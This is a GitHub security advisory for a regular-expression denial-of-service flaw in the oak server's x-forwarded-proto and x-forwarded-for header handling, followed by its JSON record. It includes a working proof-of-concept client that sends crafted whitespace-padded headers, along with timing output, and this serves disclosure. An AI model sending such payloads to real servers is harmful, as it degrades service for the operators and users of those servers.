GHSA-R3V7-PC4G-7XP9
Vulnerability from github – Published: 2025-08-12 00:15 – Updated: 2025-08-12 00:15Summary
With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.
Vulnerable Code
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142
PoC
- setup
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
server.ts
import { Application } from "https://deno.land/x/oak/mod.ts";
const app = new Application({proxy: true});
let i = 1
app.use((ctx) => {
// let url = ctx.request.url // test1) x-forwarded-proto
let ips = ctx.request.ips // test2) x-forwarded-for
console.log(`request ${i} received`)
i++;
ctx.response.body = "hello";
});
await app.listen({ port: 8080 });
client.ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');
async function run(data) {
for (let i = 0; i < data.length; i++) {
let d = data[i];
const start = performance.now();
await fetch("http://localhost:8080", {
headers: {
// "x-forwarded-proto": d, // test1)
"x-forwarded-for": d, // test2)
},
});
const end = performance.now();
console.log('length=%d, time=%d ms', d.length, end - start);
}
}
console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)
- run
deno run --allow-net server.ts
deno run --allow-net client.ts
[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms
[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms
Impact
A specially crafted value of the x-forwarded-proto or x-forwarded-for headers can be used to significantly slow down an oak server.
Similar Issues
- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6
- https://github.com/denoland/deno/pull/17722
- https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@oakserver/oak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "14.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55152"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-12T00:15:00Z",
"nvd_published_at": "2025-08-09T02:15:38Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted value of the\u00a0`x-forwarded-proto` or `x-forwarded-for` headers, it\u0027s possible\u00a0to significantly slow down an oak server.\n\n### Vulnerable Code\n\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142\n\n### PoC\n\n- setup\n```\ndeno --version\ndeno 2.4.3\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n```\n\n- `server.ts`\n```ts\nimport { Application } from \"https://deno.land/x/oak/mod.ts\";\n\nconst app = new Application({proxy: true});\n\nlet i = 1\n\napp.use((ctx) =\u003e {\n\n // let url = ctx.request.url // test1) x-forwarded-proto\n let ips = ctx.request.ips // test2) x-forwarded-for\n console.log(`request ${i} received`)\n i++;\n ctx.response.body = \"hello\";\n});\n\nawait app.listen({ port: 8080 });\n```\n\n- `client.ts`\n```ts\nconst lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]\n\nconst data1 = lengths.map(l =\u003e \u0027A\u0027 + \u0027A\u0027.repeat(l) + \u0027A\u0027);\nconst data2 = lengths.map(l =\u003e \u0027A\u0027 + \u0027 \u0027.repeat(l) + \u0027A\u0027);\n\nasync function run(data) {\n for (let i = 0; i \u003c data.length; i++) {\n let d = data[i];\n \n const start = performance.now();\n\n await fetch(\"http://localhost:8080\", {\n headers: {\n // \"x-forwarded-proto\": d, // test1)\n \"x-forwarded-for\": d, // test2)\n },\n });\n\n const end = performance.now();\n console.log(\u0027length=%d, time=%d ms\u0027, d.length, end - start);\n }\n}\n\nconsole.log(\"\\n[+] Test normal behavior\")\nawait run(data1)\nconsole.log(\"\\n[+] Test payloads\")\nawait run(data2)\n```\n\n- run\n```\ndeno run --allow-net server.ts\ndeno run --allow-net client.ts\n\n[+] Test normal behavior\nlength=2002, time=14 ms\nlength=4002, time=6 ms\nlength=8002, time=3 ms\nlength=16002, time=3 ms\nlength=32002, time=2 ms\nlength=64002, time=4 ms\nlength=128002, time=3 ms\n\n[+] Test payloads\nlength=2002, time=7 ms\nlength=4002, time=22 ms\nlength=8002, time=77 ms\nlength=16002, time=241 ms\nlength=32002, time=947 ms\nlength=64002, time=4020 ms\nlength=128002, time=15840 ms\n```\n\n\n### Impact\n\nA specially crafted value of the\u00a0`x-forwarded-proto` or `x-forwarded-for` headers\u00a0 can be used to significantly slow down an oak server.\n\n### Similar Issues\n\n- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6\n\t- https://github.com/denoland/deno/pull/17722\n- https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693\n\t- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff",
"id": "GHSA-r3v7-pc4g-7xp9",
"modified": "2025-08-12T00:15:00Z",
"published": "2025-08-12T00:15:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oakserver/oak/security/advisories/GHSA-r3v7-pc4g-7xp9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55152"
},
{
"type": "WEB",
"url": "https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44"
},
{
"type": "PACKAGE",
"url": "https://github.com/oakserver/oak"
},
{
"type": "WEB",
"url": "https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142"
},
{
"type": "WEB",
"url": "https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers"
}
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